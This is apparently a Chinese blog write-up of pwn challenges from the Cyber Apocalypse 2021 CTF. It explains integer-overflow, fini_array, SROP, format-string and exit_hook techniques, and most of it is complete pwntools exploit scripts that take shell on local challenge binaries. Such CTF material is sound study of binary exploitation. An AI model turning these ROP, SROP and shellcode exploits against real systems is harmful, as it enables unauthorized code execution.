zoukankan      html  css  js  c++  java
  • Cyber Apocalypse 2021 pwn write up

    Controller

      考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell。

     1 from pwn import *
     2 
     3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc.so.6'})
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 
     8 pop_rdi = 0x004011d3
     9 og = [0x4f3d5,0x4f432,0x10a41c]
    10 
    11 p.recvuntil('recources: ')
    12 p.sendline('-1 -65339')
    13 p.sendlineafter('> ','2')
    14 p.recvuntil('problem?
    > ')
    15 
    16 payload = 'a'*0x20+'bbbbbbbb'
    17 payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
    18 payload+= p64(elf.symbols['_start'])
    19 p.sendline(payload)
    20 p.recvuntil('ingored
    ')
    21 libc_base = u64(p.recvuntil('x7f').ljust(8,'x00'))-libc.symbols['puts']
    22 print 'libc_base-->'+hex(libc_base)
    23 shell = libc_base+og[0]
    24 
    25 p.recvuntil('recources: ')
    26 p.sendline('-1 -65339')
    27 p.sendlineafter('> ','2')
    28 p.recvuntil('problem?
    > ')
    29 
    30 payload = 'a'*0x20+'bbbbbbbb'
    31 payload+= p64(shell)
    32 p.sendline(payload)
    33 p.interactive()

    Minefield

      程序保护如图:

      程序有一个任意写,并且有后门函数。

    • RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;
    • PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;
    • FULL RELRO时,init.array、fini.array、got.plt均可读不可写。
    • 程序在加载的时候,会依次调用init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针。

      程序在执行的时候,流程如下图:

      简单地说,在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary的函数数组中的每一个函数指针。

      所以这道题,思路就是直接打.fini_array数组,让指向后门函数,在main函数执行完之后就会执行后门函数,就可以拿到flag了。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 context.log_level = 'debug'
     6 
     7 p.sendlineafter('> ','2')
     8 p.sendafter('mine: ','6295672')
     9 p.sendafter('plant: ','4196715')
    10 p.recv()
    11 p.recv()

    System dROP

      此题有点坑,我换了三种方法都没做出来。

      程序很简单,就只有一个read函数,但是程序端存在syscall ret。

      我很自觉的就想到srop了。这里我说一下我用的3种方法:

      1.通过read函数的返回值给rax,让syscall调用write函数泄露libc版本,用one_gadgets打。

      2.用srop调用execve拿shell。

      3.用srop调用mprotect将bss段赋予可执行权限,自己写shellcode来拿shell。

    exp1:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context(os='linux',arch='amd64',log_level='debug')
     7 
     8 def duan():
     9     gdb.attach(p)
    10     pause()
    11 
    12 pop_rdi = 0x0004005d3
    13 pop_rsi_r15 = 0x004005d1
    14 buf = elf.bss()+0x100
    15 syscall = 0x0040053B
    16 main = elf.symbols['_start']
    17 leave_ret = 0x0040056E
    18 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
    19 ret = 0x0040056F
    20 
    21 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
    22 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
    23 payload+= p64(main)
    24 p.send(payload)
    25 payload = p64(pop_rdi)+p64(0)
    26 payload+= p64(pop_rsi_r15)+p64(buf+0x100)+p64(0)
    27 payload+= p64(elf.plt['read'])
    28 payload+= p64(pop_rdi)+p64(1)
    29 payload+= p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)
    30 payload+= p64(syscall)
    31 payload+= p64(pop_rdi)+p64(0)
    32 payload+= p64(pop_rsi_r15)+p64(0x6011c0+8)+p64(0)
    33 payload+= p64(elf.plt['read'])
    34 p.send(payload)
    35 
    36 payload = 'a'*0x20+p64(buf-8)+p64(leave_ret)
    37 p.send(payload)
    38 p.send('a')
    39 libc_base = u64(p.recv(6).ljust(8,'x00'))-libc.symbols['read']
    40 print 'libc_base-->'+hex(libc_base)
    41 system = libc_base+libc.symbols['system']
    42 binsh = libc_base+libc.search('/bin/sh').next()
    43 shell = libc_base+og[1]
    44 
    45 payload = p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
    46 
    47 payload = p64(shell)
    48 p.send(payload)
    49 p.interactive()

    exp2:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context(os='linux',arch='amd64',log_level='debug')
     7 
     8 def duan():
     9     gdb.attach(p)
    10     pause()
    11 
    12 pop_rdi = 0x0004005d3
    13 pop_rsi_r15 = 0x004005d1
    14 buf = elf.bss()+0x150
    15 syscall = 0x0040053B
    16 main = elf.symbols['_start']
    17 leave_ret = 0x0040056E
    18 
    19 sigframe = SigreturnFrame()
    20 sigframe.rax = constants.SYS_execve
    21 sigframe.rdi = buf
    22 sigframe.rsi = 0
    23 sigframe.rdx = 0
    24 sigframe.rsp = 16
    25 sigframe.rbp = 0
    26 sigframe.r8 = 0
    27 sigframe.r9 = 0
    28 sigframe.r10 = 0
    29 sigframe.rip = syscall
    30 
    31 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
    32 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
    33 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
    34 payload+= p64(main)
    35 p.send(payload)
    36 
    37 payload = '/bin/shx00'
    38 payload+= p64(pop_rsi_r15)+p64(0x6011d0+8)+p64(0)
    39 payload+= p64(elf.plt['read'])
    40 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
    41 payload+= p64(elf.plt['read'])+p64(syscall)
    42 p.send(payload)
    43 
    44 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
    45 p.send(payload)
    46 p.send(str(sigframe))
    47 p.send('a'*15)
    48 p.interactive()

    exp3:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 #p = remote('46.101.23.157',32462)
     5 elf = ELF('./pwn')
     6 context(os='linux',arch='amd64',log_level='debug')
     7 
     8 def duan():
     9     gdb.attach(p)
    10     pause()
    11 
    12 pop_rdi = 0x0004005d3
    13 pop_rsi_r15 = 0x004005d1
    14 buf = elf.bss()+0x150
    15 syscall = 0x0040053B
    16 main = elf.symbols['_start']
    17 leave_ret = 0x0040056E
    18 ret = 0x000040056F
    19 
    20 sigframe = SigreturnFrame()
    21 sigframe.rax = constants.SYS_mprotect
    22 sigframe.rdi = buf&0xFFFFFFFFFFFFF000
    23 sigframe.rsi = 0x1000
    24 sigframe.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
    25 sigframe.rsp = buf
    26 sigframe.rip = syscall
    27 
    28 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
    29 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
    30 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
    31 payload+= p64(main)
    32 p.send(payload)
    33 #00400541
    34 payload = p64(0x0400541)
    35 payload+= p64(pop_rsi_r15)+p64(buf+0x50)+p64(0)
    36 payload+= p64(elf.plt['read'])
    37 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
    38 payload+= p64(elf.plt['read'])+p64(syscall)
    39 
    40 p.send(payload)
    41 
    42 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
    43 p.send(payload)
    44 p.send(str(sigframe))
    45 p.send('a'*15)
    46 shellcode=asm(
    47 '''
    48 xor rsi,rsi
    49 mul esi
    50 push rax
    51 mov rbx,0x68732f2f6e69622f
    52 push rbx
    53 push rsp
    54 pop rdi
    55 mov al, 59
    56 syscall
    57 '''
    58 )
    59 payload = shellcode.ljust(0x28,'x00')+p64(ret)+p64(ret)+p64(ret)+p64(0x601168)
    60 p.send(payload)
    61 p.interactive()

      比较遗憾的是,这三种方法都是本地可以拿到shell,远程拿不到。未解之谜,不知道为什么拿不到shell。。。

      上面三个exp的共同点是,都是执行了两次main函数或者start函数。有师傅告诉我说一次性搞定,别再重启程序。我贴一下main函数的汇编,惊奇的发现,在执行完read函数之后,竟然有mov eax,1的操作。。。如此一来,就不用利用read函数的返回值给rax赋值就可以调用write函数了。(果然,做系统调用的题还是得多看汇编)

      如此一来,就是先用系统调用泄露libc版本,然后调用read函数在bss段写one_gadgets,再栈转移过去执行拿shell。

    exp:

     1 from pwn import *
     2 context.log_level='debug'
     3 
     4 p = process('./pwn')
     5 elf=ELF('./pwn')
     6 libc=ELF('./libc.so.6')
     7 
     8 pop_rdi=0x0004005d3
     9 pop_rsi_r15=0x0004005d1
    10 syscall_ret=0x40053b
    11 leave_ret=0x000040056e
    12 og = [0x4f365,0x4f3c2,0x10a45c]
    13 
    14 payload='a'*0x20+p64(0x601138)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x601140)+p64(0)+p64(elf.plt['read'])+p64(leave_ret)
    15 p.sendline(payload)
    16 libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-libc.symbols['read']
    17 shell = libc_base+og[1]
    18 print 'libc_base-->'+hex(libc_base)
    19 
    20 payload=p64(shell)
    21 p.sendline(payload)
    22 p.interactive()

    Harvester

      格式化字符串漏洞泄露canary和libc版本,栈溢出覆盖返回地址拿shell。

     1 from pwn import *
     2 
     3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 
     8 og = [0x4f3d5,0x4f432,0x10a41c]
     9 
    10 #leak canary
    11 p.recvuntil('> ')
    12 p.sendline('1')
    13 p.recvuntil('> ')
    14 p.send('%11$p')
    15 p.recvuntil('is: ')
    16 canary = int(p.recvuntil('00'),16)
    17 print 'canary-->'+hex(canary)
    18 
    19 #leak libc_base
    20 p.recvuntil('> ')
    21 p.sendline('1')
    22 p.recvuntil('> ')
    23 p.send('%21$p')
    24 p.recvuntil('is: ')
    25 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
    26 print 'libc_base-->'+hex(libc_base)
    27 shell = libc_base+og[0]
    28 
    29 p.recvuntil('> ')
    30 p.sendline('2')
    31 p.recvuntil('> ')
    32 p.sendline('y')
    33 p.recvuntil('> ')
    34 p.sendline('-11')
    35 
    36 payload = 'a'*0x28+p64(canary)+'bbbbbbbb'+p64(shell)
    37 p.recvuntil('> ')
    38 p.sendline('3')
    39 p.recvuntil('> ')
    40 p.send(payload)
    41 p.interactive()

    Save_the_environment

      可以直接拿到libc地址,有一次任意写的机会,直接打exit_hook为one_gadgets拿到shell。

      因该是非预期了,因为有一次任意读没有用到。而且这个存在一定的偶然性,因为我提前知道了libc版本,即使我本地的环境也是2.27,但是在找exit_hook的时候,还是费了很大劲。原因是因为小版本的libc地址和ld地址的距离不一样,不过好在差距都是差0x1000的倍数,好找一点。

     1 from pwn import *
     2 
     3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 
     8 og = [0x4f3d5,0x4f432,0xe546f,0xe5617,0xe561e,0xe5622,0x10a41c,0x10a428]
     9 
    10 for i in range(5):
    11     p.sendlineafter('> ','2')
    12     p.sendlineafter('> ','1')
    13     p.sendlineafter('> ','n')
    14 
    15 libc_base = int(p.recvuntil(']')[-15:-1],16)-libc.symbols['printf']
    16 print 'libc_base-->'+hex(libc_base)
    17 exit_hook = libc_base+0x619060+3840
    18 shell = libc_base+og[7]
    19 print 'exit_hook-->'+hex(exit_hook)
    20 free_hook = libc_base+libc.symbols['__free_hook']
    21 malloc_hook = libc_base+libc.symbols['__malloc_hook']
    22 print 'free_hook-->'+hex(free_hook)
    23 environ = libc_base+libc.symbols['environ']
    24 '''
    25 for i in range(5):
    26     p.sendlineafter('> ','2')
    27     p.sendlineafter('> ','1')
    28     p.sendlineafter('> ','n')
    29 p.recvuntil('want.
    ')
    30 p.send(str(environ))
    31 stack = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    32 print 'stack-->'+hex(stack)
    33 attack = stack-288
    34 print 'attack-->'+hex(attack)
    35 '''
    36 p.sendlineafter('> ','1')
    37 #p.sendlineafter('> ',str(exit_hook+8+0x2000))
    38 p.sendlineafter('> ',str(exit_hook+8))
    39 p.sendlineafter('> ',str(shell))
    40 p.interactive()

    小结

      1.学习到了fini.array的利用。

      2.做系统调用的题多看汇编。

      3.exit_hook好用,但是偏移得在实际环境种慢慢调试。

      4.libc_base+libc.symbols['environ']中会存在栈地址,可以用来泄露栈地址。

    后记

      没有学到堆利用,但是巩固了栈的很多知识。感觉还不错,就是熬夜做题太伤身体了。。。

  • 相关阅读:
    JavaScript事件阶段
    JavaScript阻止事件冒泡
    JavaScript事件冒泡
    JavaScript简单的随机点名系统
    理解Android线程创建流程
    SurfaceFlinger启动篇
    Android系统启动-zygote篇
    Android系统启动-Init篇
    Android系统启动-SystemServer下篇
    Android系统启动-SystemServer上篇
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14686197.html
Copyright © 2011-2022 走看看